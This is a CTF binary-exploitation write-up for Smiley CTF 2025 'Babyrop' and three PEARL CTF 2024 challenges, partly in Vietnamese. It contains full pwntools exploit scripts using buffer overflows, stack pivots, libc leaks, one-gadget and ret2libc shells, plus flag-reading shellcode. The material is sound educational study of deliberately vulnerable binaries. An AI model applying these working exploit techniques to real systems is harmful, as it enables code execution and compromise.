# Smiley CTF ## 2025 ### Babyrop #### Overview First, we need to patch libc file by pwninit and then check the source code: ```c=C int __fastcall main(int argc, const char **argv, const char **envp) { char s[32]; // [rsp+0h] [rbp-20h] BYREF setbuf(_bss_start, 0LL); memset(s, 0, sizeof(s)); gets(s); print(s); return 0; } ``` But this challenge refines the gets function: ```c=C __int64 __fastcall gets(void *a1) { int v2; // [rsp+1Ch] [rbp-4h] v2 = read(0, a1, 700uLL); if ( v2 > 0 ) *((_BYTE *)a1 + v2 - 1) = 0; return (unsigned int)v2; } ``` The gets function allow user to input maximum 700 bytes and then set NULL bytes at the end of the user input. Then we check the gadgets this file gives us: ```c=bash 0x0000000000401055 : add al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x401020 0x00000000004010eb : add bh, bh ; loopne 0x401155 ; nop ; ret 0x0000000000401217 : add byte ptr [rax - 0x73], cl ; loopne 0x401265 ; mov edi, eax ; call rdx 0x00000000004010bc : add byte ptr [rax], al ; add byte ptr [rax], al ; endbr64 ; ret 0x0000000000401035 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x401020 0x0000000000401222 : add byte ptr [rax], al ; add byte ptr [rax], al ; leave ; ret 0x0000000000401056 : add byte ptr [rax], al ; add cl, ch ; ret 0xffff 0x0000000000401223 : add byte ptr [rax], al ; add cl, cl ; ret 0x000000000040115a : add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret 0x00000000004010be : add byte ptr [rax], al ; endbr64 ; ret 0x0000000000401037 : add byte ptr [rax], al ; jmp 0x401020 0x0000000000401216 : add byte ptr [rax], al ; lea rax, [rbp - 0x20] ; mov rdi, rax ; call rdx 0x0000000000401224 : add byte ptr [rax], al ; leave ; ret 0x00000000004011c8 : add byte ptr [rax], al ; mov eax, dword ptr [rbp - 4] ; leave ; ret 0x000000000040100d : add byte ptr [rax], al ; test rax, rax ; je 0x401016 ; call rax 0x000000000040115b : add byte ptr [rcx], al ; pop rbp ; ret 0x0000000000401159 : add byte ptr cs:[rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret 0x0000000000401058 : add cl, ch ; ret 0xffff 0x0000000000401225 : add cl, cl ; ret 0x00000000004010ea : add dil, dil ; loopne 0x401155 ; nop ; ret 0x0000000000401045 : add dword ptr [rax], eax ; add byte ptr [rax], al ; jmp 0x401020 0x000000000040115c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret 0x0000000000401157 : add eax, 0x2ec3 ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret 0x00000000004011c5 : add eax, edx ; mov byte ptr [rax], 0 ; mov eax, dword ptr [rbp - 4] ; leave ; ret 0x0000000000401017 : add esp, 8 ; ret 0x0000000000401016 : add rsp, 8 ; ret 0x0000000000401014 : call rax 0x000000000040121f : call rdx 0x00000000004011cc : cld ; leave ; ret 0x0000000000401173 : cli ; jmp 0x401100 0x0000000000401033 : cli ; push 0 ; jmp 0x401020 0x0000000000401043 : cli ; push 1 ; jmp 0x401020 0x0000000000401053 : cli ; push 2 ; jmp 0x401020 0x0000000000401179 : cli ; push rbp ; mov rbp, rsp ; pop rcx ; ret 0x00000000004010c3 : cli ; ret 0x000000000040122b : cli ; sub rsp, 8 ; add rsp, 8 ; ret 0x0000000000401170 : endbr64 ; jmp 0x401100 0x0000000000401030 : endbr64 ; push 0 ; jmp 0x401020 0x0000000000401040 : endbr64 ; push 1 ; jmp 0x401020 0x0000000000401050 : endbr64 ; push 2 ; jmp 0x401020 0x0000000000401176 : endbr64 ; push rbp ; mov rbp, rsp ; pop rcx ; ret 0x00000000004010c0 : endbr64 ; ret 0x000000000040117d : in eax, 0x59 ; ret 0x00000000004010ab : iretd 0x0000000000401012 : je 0x401016 ; call rax 0x00000000004010e5 : je 0x4010f0 ; mov edi, 0x404018 ; jmp rax 0x0000000000401127 : je 0x401130 ; mov edi, 0x404018 ; jmp rax 0x0000000000401039 : jmp 0x401020 0x0000000000401174 : jmp 0x401100 0x000000000040100b : jmp 0x4840103f 0x000000000040103d : jmp qword ptr [rsi - 0x70] 0x00000000004010ec : jmp rax 0x0000000000401219 : lea eax, [rbp - 0x20] ; mov rdi, rax ; call rdx 0x0000000000401218 : lea rax, [rbp - 0x20] ; mov rdi, rax ; call rdx 0x00000000004011cd : leave ; ret 0x00000000004010ed : loopne 0x401155 ; nop ; ret 0x000000000040121b : loopne 0x401265 ; mov edi, eax ; call rdx 0x00000000004011c7 : mov byte ptr [rax], 0 ; mov eax, dword ptr [rbp - 4] ; leave ; ret 0x0000000000401156 : mov byte ptr [rip + 0x2ec3], 1 ; pop rbp ; ret 0x0000000000401221 : mov eax, 0 ; leave ; ret 0x00000000004011ca : mov eax, dword ptr [rbp - 4] ; leave ; ret 0x000000000040117c : mov ebp, esp ; pop rcx ; ret 0x00000000004010e7 : mov edi, 0x404018 ; jmp rax 0x000000000040121d : mov edi, eax ; call rdx 0x000000000040117b : mov rbp, rsp ; pop rcx ; ret 0x000000000040121c : mov rdi, rax ; call rdx 0x0000000000401180 : nop ; pop rbp ; ret 0x00000000004010ef : nop ; ret 0x000000000040116c : nop dword ptr [rax] ; endbr64 ; jmp 0x401100 0x00000000004010e6 : or dword ptr [rdi + 0x404018], edi ; jmp rax 0x000000000040115d : pop rbp ; ret 0x000000000040117e : pop rcx ; ret 0x0000000000401034 : push 0 ; jmp 0x401020 0x0000000000401044 : push 1 ; jmp 0x401020 0x0000000000401054 : push 2 ; jmp 0x401020 0x000000000040117a : push rbp ; mov rbp, rsp ; pop rcx ; ret 0x000000000040101a : ret 0x000000000040105a : ret 0xffff 0x00000000004011c6 : rol dh, 1 ; add byte ptr [rax], al ; mov eax, dword ptr [rbp - 4] ; leave ; ret 0x0000000000401011 : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret 0x0000000000401220 : sar byte ptr [rax], cl ; leave ; ret 0x00000000004010e8 : sbb byte ptr [rax + 0x40], al ; add bh, bh ; loopne 0x401155 ; nop ; ret 0x000000000040122d : sub esp, 8 ; add rsp, 8 ; ret 0x000000000040122c : sub rsp, 8 ; add rsp, 8 ; ret 0x0000000000401010 : test eax, eax ; je 0x401016 ; call rax 0x00000000004010e3 : test eax, eax ; je 0x4010f0 ; mov edi, 0x404018 ; jmp rax 0x0000000000401125 : test eax, eax ; je 0x401130 ; mov edi, 0x404018 ; jmp rax 0x000000000040100f : test rax, rax ; je 0x401016 ; call rax ``` There is no syscall gadget or pop rdi,... that we can utilize to call system("/bin/sh") Lastly, we check the protection: ```c=bash Canary : ✘ NX : ✓ PIE : ✘ Fortify : ✘ RelRO : Full ``` #### Exploit For this challenge, we can try to leak a libc address so we can calculate a few useful function, I choose to return to one gadget. Disassemble the main function: ```c=assembly 0x00000000004011cf <+0>: endbr64 0x00000000004011d3 <+4>: push rbp 0x00000000004011d4 <+5>: mov rbp,rsp 0x00000000004011d7 <+8>: sub rsp,0x20 0x00000000004011db <+12>: mov rax,QWORD PTR [rip+0x2e36] # 0x404018 <stdout@GLIBC_2.2.5> 0x00000000004011e2 <+19>: mov esi,0x0 0x00000000004011e7 <+24>: mov rdi,rax 0x00000000004011ea <+27>: call 0x401060 <setbuf@plt> 0x00000000004011ef <+32>: lea rax,[rbp-0x20] 0x00000000004011f3 <+36>: mov edx,0x20 0x00000000004011f8 <+41>: mov esi,0x0 0x00000000004011fd <+46>: mov rdi,rax 0x0000000000401200 <+49>: call 0x401070 <memset@plt> 0x0000000000401205 <+54>: lea rax,[rbp-0x20] 0x0000000000401209 <+58>: mov rdi,rax 0x000000000040120c <+61>: call 0x401183 <gets> 0x0000000000401211 <+66>: mov rdx,QWORD PTR [rip+0x2df8] # 0x404010 <print> 0x0000000000401218 <+73>: lea rax,[rbp-0x20] 0x000000000040121c <+77>: mov rdi,rax 0x000000000040121f <+80>: call rdx 0x0000000000401221 <+82>: mov eax,0x0 0x0000000000401226 <+87>: leave 0x0000000000401227 <+88>: ret ``` This gadget: ```c=asssembly lea rax,[rbp-0x20] ``` They are quite dangerous with buffer overflow, since buffer overflow allow us to control rbp, what is we overflow rbp with an address and then return back to print(), it will be: lea rax, [{address} - 0x20], then it will print our address, here we can see this comment by disassemble main(): # 0x404018 <stdout@GLIBC_2.2.5>, lets check 0x404000: ```c=assembly gef➤ x/20gx 0x404000 0x404000: 0x0000000000000000 0x0000000000000000 0x404010 <print>: 0x00007ffff7c87be0 0x00007ffff7e045c0 0x404020 <completed.0>: 0x0000000000000000 0x0000000000000000 0x404030: 0x0000000000000000 0x0000000000000000 0x404040: 0x0000000000000000 0x0000000000000000 0x404050: 0x0000000000000000 0x0000000000000000 0x404060: 0x0000000000000000 0x0000000000000000 0x404070: 0x0000000000000000 0x0000000000000000 0x404080: 0x0000000000000000 0x0000000000000000 0x404090: 0x0000000000000000 0x0000000000000000 ``` They store 2 libc address in 0x404010 and 0x404018, lets try to leak it by control rbp: ```c=python #!/usr/bin/env python3.11 from pwn import * exe = ELF("./vuln_patched", checksec=False) libc = ELF("./libc.so.6", checksec=False) ld = ELF("./ld-2.39.so", checksec=False) context.binary = exe if args.LOCAL: r = process([exe.path]) else: r = remote("smiley.cat", 44385) gdb.attach(r, gdbscript=''' b*main+88 c ''') puts_addr = 0x0000000000401211 payload = flat( b'a'*32, 0x404010 + 0x20, #saved rbp puts_addr #saved rip ) r.sendline(payload) r.interactive() ``` ![Screenshot 2025-06-16 113228](https://hackmd.io/_uploads/ByoZyXameg.png) I input 0x404030 to rbp, then when it call lea rax, [rbp-0x20], rax will be 0x404030-0x20=0x404010, this address store a libc address, when it implement call rdx, a libc address will be leaked: ![image](https://hackmd.io/_uploads/rkA0JQ67xe.png) That is how dangerous lea rax, [rbp-offset] with buffer overfllow, but thats not the solution because we cannot control the program anymore If you check the address 0x404000 by vmmap: ```c=bash 0x0000000000404000 0x0000000000405000 0x0000000000005000 rw- /mnt/c/ctf/ctf/babyrop/vuln_patched ``` Its a read write section so I tried to write the address to leak in that section: ```c=python #!/usr/bin/env python3.11 from pwn import * exe = ELF("./vuln_patched", checksec=False) libc = ELF("./libc.so.6", checksec=False) ld = ELF("./ld-2.39.so", checksec=False) context.binary = exe if args.LOCAL: r = process([exe.path]) else: r = remote("smiley.cat", 44385) #gdb.attach(r, gdbscript=''' # b*main+88 # c # ''') gets_addr = 0x0000000000401205 puts_addr = 0x0000000000401211 leaveret = 0x00000000004011cd rw_section = 0x40426c payload = flat( b'a'*32, #saved rbp 1 0x404010 + 0x20 + 0x20, #save rip 1 gets_addr ) r.sendline(payload) print("Payload 1 len: ", len(payload)) r.recvline() payload = flat( #saved rbp 4 rw_section+0x10, #saved rip 4 leaveret, b'a'*16, #saved rbp 2 rw_section, #saved rip 2 leaveret, b'a'*524, #saved rbp 3 0x404010+0x20, #saved rip 3 puts_addr, #saved rbp 5 0, #saved rip 5 exe.sym.main ) r.sendline(payload) print("Payload 2 length: ", len(payload)) r.interactive() ``` After we have libc address, we return back to main() and overflow rip with one gadget: ```c=python #!/usr/bin/env python3.11 from pwn import * exe = ELF("./vuln_patched", checksec=False) libc = ELF("./libc.so.6", checksec=False) ld = ELF("./ld-2.39.so", checksec=False) context.binary = exe if args.LOCAL: r = process([exe.path]) else: r = remote("smiley.cat", 44385) #gdb.attach(r, gdbscript=''' # b*main+88 # c # ''') gets_addr = 0x0000000000401205 puts_addr = 0x0000000000401211 leaveret = 0x00000000004011cd rw_section = 0x40426c payload = flat( b'a'*32, #saved rbp 1 0x404010 + 0x20 + 0x20, #write at 0x404030 #save rip 1 gets_addr ) r.sendline(payload) print("Payload 1 len: ", len(payload)) r.recvline() payload = flat( #saved rbp 4 rw_section+0x10, #saved rip 4 leaveret, b'a'*16, #saved rbp 2 rw_section, #saved rip 2 leaveret, b'a'*524, #saved rbp 3 0x404010+0x20, #saved rip 3 puts_addr, #saved rbp 5 0, #saved rip 5 exe.sym.main ) r.sendline(payload) print("Payload 2 length: ", len(payload)) r.recvline() leak = u64(r.recvn(6)+b'\x00'*2) print("Leaking libc: ", hex(leak)) lb = leak - 0x87be0 print("Lib base: ", hex(lb)) onegg = lb + 0xef52b rbp = lb + 0x205710 payload = cyclic(32)+p64(rbp)+p64(onegg) print("One gadget: ", hex(onegg)) r.sendline(payload) r.sendline(b'cat flag.txt') r.interactive() ``` ![Screenshot 2025-06-16 121929](https://hackmd.io/_uploads/B1xjFQa7xx.png) # PEARL CTF ## 2024 ### Adventure Nếu xem source code thì bug ở ngay hàm hatchEgg() vì có gets(): ```c=python void __fastcall hatchEgg() { char name[20]; // [rsp+0h] [rbp-20h] BYREF puts("You wish to hatch the egg!"); puts("Give the baby dragon a name"); getchar(); fflush(stdin); gets(name); printf("Your dragon is now called %s\n", name); printf("You leave the area with %s\n", name); } ``` Đề bài có cho file ld với libc nên ta sẽ hướng theo ret2libc trước xem có được không Ở đây do hàm gets có thêm NULL byte vào cuối input nên ta không thể leak libc theo cách nối byte được, trong code có cho ta hàm puts nên ta sẽ sử dụng nó để leak (vì bài cũng có cho gadget pop rdi) ```c=bash 0x000000000040121e : pop rdi ; ret ``` ```c=python pop_rdi = 0x000000000040121e r.sendlineafter(b': ', b'2') r.sendlineafter(b'No\n', b'1') r.recvline() r.recvline() payload = b'a'*40 + p64(pop_rdi) + p64(exe.got['puts']) payload += p64(exe.plt['puts']) ``` Nhưng do sau khi leak xong không thể input tiếp được nữa nên ta phải tận dụng gets thêm lần nữa bằng cách overflow luôn saved rip để khi exploreRight() return sẽ nhảy lại vào hatchEgg() Sau đó thì tính địa chỉ /bin/sh, system; tìm offset của hatchEgg() lần 2 nữa là xong ```c=python #!/usr/bin/env python3.11 from pwn import * exe = ELF("./adventure_patched", checksec=False) libc = ELF("./libc.so.6", checksec=False) ld = ELF("./ld-2.35.so", checksec=False) context.binary = exe if args.LOCAL: r = process([exe.path]) else: r = remote("addr", 1337) pop_rdi = 0x000000000040121e r.sendlineafter(b': ', b'2') r.sendlineafter(b'No\n', b'1') r.recvline() r.recvline() payload = b'a'*40 + p64(pop_rdi) + p64(exe.got['puts']) payload += p64(exe.plt['puts']) payload += p64(exe.sym['hatchEgg']) #nhảy lại vào hatchEgg() # input() r.sendline(payload) r.recvline() r.recvuntil(b'\n') leak = u64(r.recvn(6)+b'\0\0') lb = leak - 0x80ed0 print("Leak libc: ", hex(leak)) print("Libc base: ", hex(lb)) r.recvline() r.recvline() binsh = lb + 0x1d8698 system = lb + 0x50d60 payload = b'a'*41 + p64(pop_rdi) + p64(binsh) + p64(0x000000000040101a) payload += p64(system) r.sendline(payload) r.interactive() ``` Ps: do khi return vào system thì có vấn đề về stack alignment nên phải điều chỉ rsp, ở đây mình thêm ret. ### flag-finder Bài này chỉ cho xài syscall write để đọc flag, ta có flag được lưu trên stack mà rsp cũng lưu địa chỉ stack nên ta có thể dựa vào đó tính địa chỉ của flag ![image](https://hackmd.io/_uploads/HJIGnviyeg.png) ```c=python #!/usr/bin/env python3.11 from pwn import * r=process("./flag-finder") shellcode = asm( ''' mov rax, 1 mov rdi, 1 add rsp, 0x18 mov rsi, rsp mov rdx, 0x50 syscall ''', arch='amd64' ) r.sendlineafter(b'> ', shellcode) r.interactive() ``` ### Going back Bài này ý tưởng y chang như bài Adventure: ```c=python #!/usr/bin/env python3.11 from pwn import * exe = ELF("./goingback_patched", checksec=False) libc = ELF("./libc.so.6", checksec=False) ld = ELF("./ld-2.35.so", checksec=False) context.binary = exe if args.LOCAL: r = process([exe.path]) else: r = remote("addr", 1337) pop_rdi = 0x0000000000401265 ret = 0x000000000040101a r.sendlineafter(b': ', b'abc') r.sendlineafter(b': ', b'abc') r.sendlineafter(b': ', b'1') r.sendlineafter(b'Bangalore\n', b'1') r.sendlineafter(b': ', b'1') r.sendlineafter(b': ', b'1') payload = b'a'*40 + p64(pop_rdi) + p64(exe.got['puts']) + p64(exe.plt['puts']) payload += p64(ret) payload += p64(0x4015bb) r.sendlineafter(b': ', payload) r.recvuntil(b'future experience\n') leak = u64(r.recvn(6)+b'\0\0') lb = leak -0x80ed0 print("Libc base: ", hex(lb)) print("Leak libc: ", hex(leak)) binsh = lb + 0x1d8698 system = lb + 0x50d60 payload = b'a'*40 + p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system) r.sendlineafter(b': ', b'1') #input() r.sendlineafter(b'future experience\n', payload) r.interactive() ```